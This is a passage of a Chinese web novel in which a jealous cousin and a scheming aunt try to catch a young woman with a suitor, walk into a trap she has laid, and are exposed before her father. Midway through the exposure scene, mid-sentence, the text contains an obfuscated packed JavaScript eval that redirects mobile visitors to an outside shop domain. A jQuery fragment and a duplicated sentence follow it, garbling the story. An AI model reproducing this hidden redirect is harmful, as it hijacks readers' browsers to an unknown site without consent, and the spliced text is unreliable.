绿绮穿过回廊,拐进了孟知华的书房。
孟知远远远缀在后面,等她进去了,才蹑手蹑脚地凑到窗根底下。
他正琢磨着怎么找机会下手,忽然听见屋里传来绿绮的声音:“哎呀,小姐让我们去少爷那儿一趟,我怎么给忘了!快快快,趁现在还来得及!”
紧接着是一阵脚步声,绿绮带着两个小丫鬟急匆匆地从书房里跑了出来。
孟知远特地留意了,她们都手里空空。
木匣子被她留在书案上了。
孟知远的心跳猛地加速。
他躲在墙角,看着绿绮的身影消失在回廊尽头,又等了几息,确认她不会折返回来,才深吸一口气,轻轻推开了书房的窗户。
窗户没锁,他翻身爬了进去,目光第一时间锁定书案上那只木匣子。
他快步走过去,掀开盖子,里面居然只静静躺着一张纸。
孟知远冷笑。
故意用木匣子掩人耳目,欲盖弥彰。
最近的流言虽都是他放出的,但他心底其实并不怎么相信,但没想到,最近发现此二人居然真的有私下往来。
总算被他逮到了。
他迅速抽出纸张,展开一看,瞳孔骤然紧缩。
他虽然读书不多,但这张纸上的字写得极为简明,连蒙带猜也能看明白七八分。
纸上内容很直白,就是相约孟知华,三日后傍晚在城东清风茶楼见面。
落款处赫然写着白清简三个字,下面还盖着一方鲜红的私印。
孟知远的手抖了起来。
他飞快地将信纸折好,放回木匣子里,盖好盖子,又将木匣子放回原位,迅速从窗户翻了出去,一路小跑溜到了假山后面。
他在假山后面蹲了一会儿,等心跳平复下来,才站起身,拍了拍膝盖上的土,大步往李家走去。
孟桂芳正在厅堂里喝茶,听下人通报说孟知远来了,眉头便皱了起来:“他怎么又来了?不是让他最近少来,有话让人通传吗?”
话音未落,孟知远已经兴冲冲地闯了进来,满脸红光:“表姑母!大喜事!天大的喜事!”
孟桂芳不耐烦地放下茶盏:“什么喜事值得你这么大呼小叫的?”
孟知远凑到她跟前,压低声音,把下午看到的事情添油加醋地说了一遍。
末了,他得意洋洋地总结道:“表姑母,这回总错不了了,您等的机会这不就来了!”
孟桂芳惊得直接站起:“你看清楚了?真是白清简约她见面?”
“千真万确!”
孟知远拍着胸脯保证,“等三日后他们见了面,我带人冲进去抓个现行,您再趁势进来,看她还有什么话说!”
孟桂芳缓缓靠回椅背上,她没有立刻说话,而是在心里飞快地盘算起来。
说实话,她最初撺掇孟知远去散播谣言,本意是想败坏孟知华的名声。
这种事她见多了,传着传着,假的也能变成真的。到时候人人都说孟知华不检点,她就是跳进黄河也洗不清。
李家再不计前嫌把她娶进门,她孟知华就得感恩戴德,乖乖听话。
嫁进李家之后,一个名声败坏的媳妇,还敢在婆婆面前摆什么大小姐架子?到时候让她往东她不敢往西,让她立规矩她不敢喊累,好好磨一磨她那一身傲骨。
她原本以为这就够了。传谣嘛,又不费什么力气,动动嘴皮子的事儿。
可她万万没有想到,这两个人居然是真的有往来。
她并没有想象中的快感,反而一股说不清道不明的恼怒涌了上来。
孟知华早就该是李家的人了,不思量着怎么安分守己,反倒跟别的男人勾勾搭搭,这简直是不把李家放在眼里。
孟桂芳眯起眼睛,指甲轻轻急速叩着桌面,发出刺耳的笃笃声响。
“好。”
她点了点头,后槽牙都快咬碎了,“三日后,我跟你一起去。我倒要看看,孟家这回还能翻出什么花样来!”
…
三日后,傍晚。
城东清风茶楼。
孟知远蹲在茶楼对面的巷子里,眼睛一眨不眨地盯着茶楼大门。
他今天特意换了件不起眼的灰布衣裳,还戴了顶帽子遮住半张脸,生怕被人认出来。
他已经在这条巷子里蹲了大半个时辰了,腿都麻了,但他不敢挪窝。他怕自己一走开,就错过了最关键的时刻。
他脑海里反复演练着等会儿的场景。
他冲进去,大喝一声,两人都惊慌失措,脸色煞白。他义正词严地指责孟知华不知廉耻,她跪在地上求他不要声张。
到时候,他不仅要让孟桂芳给更多银子,还要好好出一出这十几年来的恶气。
凭什么她是嫡女,他是庶出?凭什么她可以随心习武读书,样样将他比下去?凭什么她连正眼都不瞧他一下,好像他是什么脏东西似的?
今天,他就要让她知道,她孟知华也没什么了不起的。落到他手里,照样得低头。
他正想着,忽然看见一辆马车缓缓驶到了茶楼门口。
车帘掀开,一道月白色的身影从车上下来,正是白清简。
又等了一会儿,一顶小轿在茶楼门口停了下来,孟知华从轿中走出,戴着帷帽,进了茶楼。
孟知远连忙从巷子里出来,跟了进去。
他看见白清简和孟知华一前一后上了二楼,拐进走廊尽头那间雅间。
他没有立刻跟上去,而是在楼梯口站了片刻,等那扇门关严了,才轻手轻脚地上楼,在走廊里站定。
他在门外候了约一盏茶的功夫,估摸着里面已经坐定,说上话了,才深吸一口气,一脚踹开了房门。
“好啊!被我抓到了吧!”
他大喝一声,他一脚踢开门,叉着腰瞪着屋内的人。
然后他愣住了。
雅间里确实坐着两个人。一个是孟知华,一个是白清简。
但屋子里还有第三个人,孟父正面色沉沉地坐在主位上,手里端着一盏茶。
孟知远的脑子嗡的一声炸开了。
“远弟弟?”
孟知华放下茶盏,捻着帕子捂在心口,带着恰到好处的惊吓与疑惑,“你踹门做什么?”
孟知远张了张嘴,却发现自己一个字也说不出来。
孟父放下茶盏,提高音量,冷得像淬了冰:“孟知远,你猝然踹门闯进来,是想做什么?”
“我……我……”
孟知远结结巴巴地道,“我看见白公子和她……他们……”
然而还没等他说完,白清简先放下了茶盏,茶盏落在桌面上发出一声清脆的轻响。
而后他抬起眼,看向门口的孟知远,清俊的面上也带着疑惑:
“这位公子,今日是我做东,请孟大人和孟小姐来此小聚,以谢日前孟小姐援手之恩。不知公子有何指教?”
孟知华险些一口茶喷出来。
就算再次目睹,还是会被这位的演技“惊艳”。
孟知远看看白清简,又看看面若冰霜的孟父,脸色瞬间变得煞白,颤抖的腿想往回撤,却动弹不得。
孟知华站起身来,走到他面前,目光平静地看着他:“说起来,远弟弟你来的正好,我正要找时间向爹禀报呢。如今恰好你也来了,你这些日子做的事,我一件一件帮你回忆一下?”
她不等孟知远回答,便转向门口,提高了声音:“绿绮,你来说。”
绿绮从身后走了上来,手里拿着一个小本子。她朝孟父行了一礼,然后翻开本子,清了清嗓子,一本正经地念了起来:
“三月廿三,远少爷在后花园对厨房王四说,你知道小姐为何迟迟不理会李家婚约吗,都是因为京城白家那个白大少爷,我竟不知她是那样的女子云云;三月廿七……”
她一条接一条地念下去,声音平稳。
足足念了几十条,她才合上本子,退到一旁,面无表情地道:“记录在此,句句有人证可查。奴婢说完了。”
雅间里安静得落针可闻。
孟父坐在那里,一动不动,像是被人兜头浇了一盆冰水。
他的手指攥着茶盏,指节泛白,手背上的青筋根根凸起。他张了张嘴,似乎想说什么,却又生生咽了回去。
他的胸口剧烈起伏了几下,随后猛地放下茶盏,站起来,走到孟知远面前,居高临下地看着他。
孟知远腿一软,扑通一声跪倒在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670785|207370||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“大、大伯,我……我……”
“你什么?”
孟父的声音陡然拔高,像一声炸雷在雅间里轰然炸开,“你跟我说说,华儿是哪种女子?你给我记住,她是你堂姐!是我孟德斌的女儿!岂容你这般作践?”
他越说越怒,声音越来越大,到最后几乎是吼出来的:“孟知远,我待你不薄!次次你们家里来求,哪样少了你们一份?!你就这般在外面编排我女儿的闲话,坏她的名声?!”
孟知远跪在地上,浑身抖得像筛糠,连头都不敢抬。
孟父喘着粗气,胸膛剧烈起伏,盯着他看了半晌,忽然一脚踹翻了旁边的圆凳。
圆凳咕噜噜滚出去,撞在墙上,发出一声巨响。
孟知远腿一软,扑通一声跪倒在地:“我……我一时糊涂……”
“一时糊涂?”
孟父怒不可遏,“你偷窥跟踪,散布谣言,带人闯门,这些都是一时糊涂?”
孟知远跪在地上,浑身发抖,一个字也不敢再说了。
孟知华在一旁慢悠悠地补了一句:“爹,我看他不是一时糊涂,是背后有人指点吧?”
孟知远浑身一颤,冷汗涔涔而下。
他知道自己扛不住了,咬了咬牙,终于开口:“是……是表姑母,是孟桂芳!是她,是她让我做的!今天也是她让我来的,她说她会在外面等着,等我把场面闹大了,她就进来……”
而此时,孟桂芳正站在厢房外面。
她本来正竖起耳朵,想听听里面闹到什么程度了,好挑个最合适的时机进场。
然而她听着听着,脸上的笑容渐渐僵住了,脸色一阵青一阵白,手指紧紧攥着那方帕子,几乎要将它绞烂。
她什么都明白了。
这是一个局。
孟知远那个蠢货,到现在恐怕都没想明白自己是怎么被人一步步引到这里来的。
而且那个废物……居然还把她供出来了!
她咬了咬牙,在原地站了几息,脸色变幻了好几次。
如果孟知远一个人扛下所有罪名,她还能撇清关系。
可那个废物已经把她供出来了,她就算现在走了,孟家也一定会找上门来。
与其被动挨打,不如主动出击!
她深吸一口气,整理了一下衣襟,昂首挺胸地走了进去。
她先看了一眼跪在地上瑟瑟发抖的孟知远,再看见孟父那张铁青的脸,地上翻倒的圆凳,手心还是瞬间沁出了一层薄汗。
但她没有退路。
她硬生生把那股怯意压了下去,挺直了腰板,对跪在地上的孟知远冷哼一声,才转向屋内的众人。
孟父盯着她,声音沉得像一块巨石:“李夫人,方才他说的,你应该也都听到了。你可有什么要说的?”
孟桂芳的脊背僵了一瞬。
她能感觉到孟父的目光像刀子一样扎在她脸上,那压迫感几乎要让她的腿肚子发软。
但她咬了咬牙,把心一横,反而抬起了下巴。
“是,我就在外面,那又怎样?”
她的声音拔高了几分,带着一种刻意的理直气壮,“我是让知远多留意一下华儿的动向。怎么,我关心自己未来的媳妇,有什么不对吗?”
“更何况,我若不是让知远盯着,还不知道华儿跟白大公子之间的往来这么密切呢!你们倒是给我解释解释,这又是什么意思?”
她又转向孟知华:“你以为你把孟知远收拾了,这事儿就完了?”
孟知华站在窗边,神色平静:“李夫人还有什么指教?”
“华儿,你是个聪明人,白大公子更不必说的,咱们在场的,除了孟知远,谁都不是傻子。”
孟桂芳歪了歪头,嘴角噙着一丝讽刺的笑,“那些流言,到底是真是假,你心里清楚,白公子心里也清楚。”
她顿了顿,目光在孟知华和白清简之间来回扫了一圈,然后缓缓转向孟父,声音不高不低,却字字清晰:
“如今孟大人也在,我就当着孟大人的面,问你们二位一句话。”
她抬起下巴,目光灼灼地盯住孟知华,又侧过头看了一眼白清简:
“我说的,你们敢否认吗?”